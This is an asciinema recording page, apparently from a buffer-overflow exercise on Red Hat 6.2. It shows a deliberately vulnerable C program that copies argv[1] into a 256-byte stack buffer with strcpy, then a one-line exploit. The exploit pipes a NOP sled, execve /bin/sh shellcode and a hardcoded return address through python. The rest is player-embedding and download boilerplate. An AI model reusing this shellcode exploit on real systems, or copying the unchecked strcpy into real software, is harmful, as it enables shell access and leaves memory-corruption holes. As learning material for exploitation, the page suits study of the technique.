bigbof01

by cr3denza 10 years ago

GNU/Linux ◆ xterm ◆ bash 1179 views

bigbof01.c

int main(int argc, char* argv[]){

char buffer[256];
strcpy(buffer, argv[1]); //vuln
printf("%s\n", buffer);
return 0;

}

Redhat 6.2 vuln : stack overflow vuln func : strcpy() 24byte shellcode in buffer exploit code : ./bigbof01 $(python -c ‘print “\x90”*236+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”+”\x28\xfc\xff\xbf”‘)

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You can download this recording in asciicast v2 format, as a .cast file.

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asciinema play 14514.cast

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</head>
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  <script>
    AsciinemaPlayer.create(
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      { cols: 151, rows: 39 }
    );
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</body>
</html>

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agg https://asciinema.org/a/14514 demo.gif

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agg demo.cast demo.gif

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